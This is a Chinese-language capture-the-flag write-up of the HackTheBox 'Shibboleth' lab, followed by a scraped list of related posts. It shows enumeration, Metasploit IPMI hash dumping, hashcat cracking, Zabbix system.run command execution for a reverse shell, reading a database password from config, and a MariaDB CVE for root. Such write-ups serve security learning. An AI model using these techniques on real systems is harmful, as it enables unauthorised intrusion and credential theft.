0x00 前言

这次的靶场又让我排了点坑
由于习惯原因我一直使用windows的wsl监听端口反弹shell后不能wget windows物理机能ping通靶机但靶机ping不通windows物理机
但用kali虚拟机监听端口反弹shell后就能正常wget 并且互相都ping得通好奇妙…

但此处依然存在疑问：
如果说使用windows wsl监听反弹shell存在连通性问题（即靶机无法联通windows wsl），那么为什么用windows wsl监听反弹shell能成功收到…?

回到正题
这次的靶场又让我学到了不少东西，很多想法都是自己先前没有过的

老样子别忘了添加hosts

0x01 brain.md

先手进行信息搜集

nmap -sS -A -sC -sV -p- --min-rate 5000 10.10.11.124

只有一个web服务

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://shibboleth.htb/

过了一下主页基本都是静态没有什么可利用的地方
dirsearch没有拿到有用的信息

wfuzz梭一下子域名

└─# wfuzz -c -u "http://shibboleth.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 26 -H "HOST:FUZZ.shibboleth.htb"000000099:   200        29 L     219 W      3684 Ch     "monitor - monitor"
000000346:   200        29 L     219 W      3684 Ch     "monitoring - monitoring"
000000390:   200        29 L     219 W      3684 Ch     "zabbix - zabbix"

三个子域名指向同一个网站

一个登录口手注了一下无果
抓个sqlmap一下没有利用点

POST /index.php HTTP/1.1
Host: zabbix.shibboleth.htb
Content-Length: 49
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://zabbix.shibboleth.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://zabbix.shibboleth.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSID=ir0mqc5k2osjah5cbcmefosgjq
Connection: close

name=admin&password=123&autologin=1&enter=Sign+in

做到这已经崩了给出来的东西太少了
果断开始膜师傅的wp
通常我们习惯用-sS 也就是TCP SYN扫描去探测服务
但是却忽略了UDP端口

nmap做udp扫描时特别慢
最后扫到了一个623端口的asf-rmcp
没见过

警报标准格式( ASF )（有时也称为警报标准论坛、警报规范论坛、警报规范功能等）是一种 DMTF 标准，用于远程监控、管理和控制存在操作系统和不存在操作系统的计算机系统环境。这些技术主要集中在最大限度地减少现场 I/T 维护，最大限度地提高本地用户的系统可用性和性能
RMCP 为管理控制台用于远程控制可识别 ASF 的主机的网络协议。RMCP 安全扩展协议 (RSP) 是 RMCP 的安全增强版本，提供发送 RMCP 消息时的认证和完整性。

google asf-rmcp exploit
蛮好奇为什么这篇文章一个关键词都没有还能排第二的…
但端口还是对应上了

623/UDP/TCP - IPMI
ipmi : 智能平台管理接口
翻翻关联点，安慰自己继续看下去

msf6 auxiliary(scanner/ipmi/ipmi_version) > show optionsModule options (auxiliary/scanner/ipmi/ipmi_version):Name       Current Setting  Required  Description----       ---------------  --------  -----------BATCHSIZE  256              yes       The number of hosts to probe in each setRHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'RPORT      623              yes       The target port (UDP)THREADS    10               yes       The number of concurrent threadsmsf6 auxiliary(scanner/ipmi/ipmi_version) > set rhosts 10.10.11.124
rhosts => 10.10.11.124
msf6 auxiliary(scanner/ipmi/ipmi_version) > exploit[*] Sending IPMI requests to 10.10.11.124->10.10.11.124 (1 hosts)
[+] 10.10.11.124:623 - IPMI - IPMI-2.0 UserAuth(auth_msg, auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

2.0 漏洞影响版本
果然vulnerable

msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > exploit[+] 10.10.11.124:623 - IPMI - Hash found: Administrator:xxxxx>

把hash dump下来
抄起老本行hashcat
hashcat使用手册总结
hashcat -m 7300 hash /usr/share/wordlists/rockyou.txt
别问为什么用这个字典…
ilovepumkinpie1

成功登录zabbix
google一下
很坑的是网上的rce使用的模块在题目里没有…

找到比较相近的一篇
结果这个模板又无

https://blog.csdn.net/weixin_43272125/article/details/114001388

看了师傅们的writeup才知道连信息搜集的能力都输了…
configuration->host->item
create item的key中存在system.run键可进行命令执行

添加后监听反弹shell
下一步到ipmi-svc
真是没想到ipmi-svc用户密码和网站后台密码一样…
使用python pty做个交互式shell（无交互会导致后面的root提权处出错
反正实战能有交互式shell就有交互式shell 可以避免很多问题

下一步提权到root
开一下本地端口一个mysql

ipmi-svc@shibboleth:~$ mysql -V
mysql -V
mysql  Ver 15.1 Distrib 10.3.25-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2

存在一个 CVE-2021-27928
https://cloud.tencent.com/developer/article/1814426

看一下zabbix配置文件

## Company Websirte vhost
<VirtualHost *:80># The ServerName directive sets the request scheme, hostname and port that# the server uses to identify itself. This is used when creating# redirection URLs. In the context of virtual hosts, the ServerName# specifies what hostname must appear in the request's Host: header to# match this virtual host. For the default virtual host (this file) this# value is not decisive as it is used as a last resort host regardless.# However, you must set it for any further virtual host explicitly.ServerName shibboleth.htbServerAlias www.shibboleth.htbServerAdmin webmaster@shibboleth.htbDocumentRoot /var/www/htmlRewriteEngine OnRewriteCond %{HTTP_HOST} !^shibboleth.htb$RewriteRule /.* http://shibboleth.htb/ [R]# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,# error, crit, alert, emerg.# It is also possible to configure the loglevel for particular# modules, e.g.#LogLevel info ssl:warnErrorLog ${APACHE_LOG_DIR}/error.logCustomLog ${APACHE_LOG_DIR}/access.log combined# For most configuration files from conf-available/, which are# enabled or disabled at a global level, it is possible to# include a line for only one particular virtual host. For example the# following line enables the CGI configuration for this host only# after it has been globally disabled with "a2disconf".#Include conf-available/serve-cgi-bin.conf
</VirtualHost>## Zabbix vhost
<VirtualHost *:80># The ServerName directive sets the request scheme, hostname and port that# the server uses to identify itself. This is used when creating# redirection URLs. In the context of virtual hosts, the ServerName# specifies what hostname must appear in the request's Host: header to# match this virtual host. For the default virtual host (this file) this# value is not decisive as it is used as a last resort host regardless.# However, you must set it for any further virtual host explicitly.ServerName zabbix.shibboleth.htbServerAlias monitor.shibboleth.htb monitoring.shibboleth.htbServerAdmin zabbix@shibboleth.htbDocumentRoot /usr/share/zabbix## Block Zabbix API Access.<Location /api_jsonrpc.php>Order deny,allowDeny from allAllow from 127.0.0.1</Location><Location /zabbix/api_jsonrpc.php>Order deny,allowDeny from allAllow from 127.0.0.1</Location># Available loglevels: trace8, ..., trace1, debug, info, notice, warn,# error, crit, alert, emerg.# It is also possible to configure the loglevel for particular# modules, e.g.#LogLevel info ssl:warnErrorLog ${APACHE_LOG_DIR}/zabbix-error.logCustomLog ${APACHE_LOG_DIR}/zabbix-access.log combined# For most configuration files from conf-available/, which are# enabled or disabled at a global level, it is possible to# include a line for only one particular virtual host. For example the# following line enables the CGI configuration for this host only# after it has been globally disabled with "a2disconf".#Include conf-available/serve-cgi-bin.conf
</VirtualHost>

在对应webroot下没有数据库明文密码
于是开始搜索
Zabbix server 更改数据库密码
/etc/zabbix/zabbix_server.conf 有明文密码

ipmi-svc@shibboleth:/etc/zabbix$ cat zabbix_server.conf |grep -i password
cat zabbix_server.conf |grep -i password
### Option: DBPassword
#       Database password.
#       Comment this line if no password is used.
DBPassword=bloooarskybluh
ipmi-svc@shibboleth:/etc/zabbix$
ipmi-svc@shibboleth:/etc/zabbix$ cat zabbix_server      |grep -i user
cat zabbix_server.conf|grep -i user
### Option: DBUser
#       Database user.
# DBUser=
DBUser=zabbix

DBUser=zabbix
DBPassword=bloooarskybluh
开始cve复现
拿下

[hackthebox]shibboleth相关推荐

java xmlsec_找不到net.shibboleth.tool：xmlsectool：2.0.0
故事:我的Java是基于Gradle的项目.使用pac4j依赖这是我的gradle配置: compile ('org.pac4j:pac4j-saml:3.0.0-RC1'){ exclude gro ...
sqlmap md5怎么解密_三十九，hackthebox渗透之DirBuster扫描路径及Sqlmap
一.DirBuster扫描目录 hack the box是一个在线Web渗透实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有.因为这些靶机放在平台上供大 ...
Hackthebox（1）系列持续更新
Hackthebox第一关文章目录 Hackthebox第一关一.Hackthebox配置openvpn 配置openvpn 二.第0层(简单) 终端弄好以后点击产卵机,然后会给你创建一个实例问 ...
HackTheBox MetaTwo 网站框架CVE获取用户shell和破解私钥提权
题目网址: https://app.hackthebox.com/machines/MetaTwo 枚举使用nmap枚举靶机 nmap -sC -sV -p- 10.10.11.186 扫到了域名, ...
HackTheBox 如何使用
如何开始? 1.到官网注册一个账号 https://www.hackthebox.com/ 2.验证自己的邮箱 3.下载 openvpn 4.到左边的 labs 实验室开始学习或直接点击 start ...
HackTheBox –Craft实战
HackTheBox –Craft ip:http://10.10.10.110/ 信息搜集端口扫描:使用nmap扫描发现开了22(ssh)端口和443(http/ssl) 版本可从web网页上获取 ...
CTF-Anubis HackTheBox 渗透测试（二）
大家好,我是你们好朋友小峰.预计从今天开始,陆陆续续为大家推出 CTF-Horizontall HackTheBox 系列文章. 0x01 简介 Anubis是由作者4ndr34z在Hac ...
Hackthebox:Arctic Walkthrough
预备知识使用了msfvenom,不想看的可以跳过浏览器信息收集尤其是细节发现服务信息不能过度依赖工具 MS10-059.smbserver.jsp reverse shell 信息收集和获取立足点 ...
hackthebox的网站使用教程
Google浏览器下载下载url:https://www.google.cn/chrome/ hackthebox网站网站url:https://www.hackthebox.com/home 获 ...

[hackthebox]shibboleth

0x00 前言

0x01 brain.md

[hackthebox]shibboleth相关推荐

最新文章

热门文章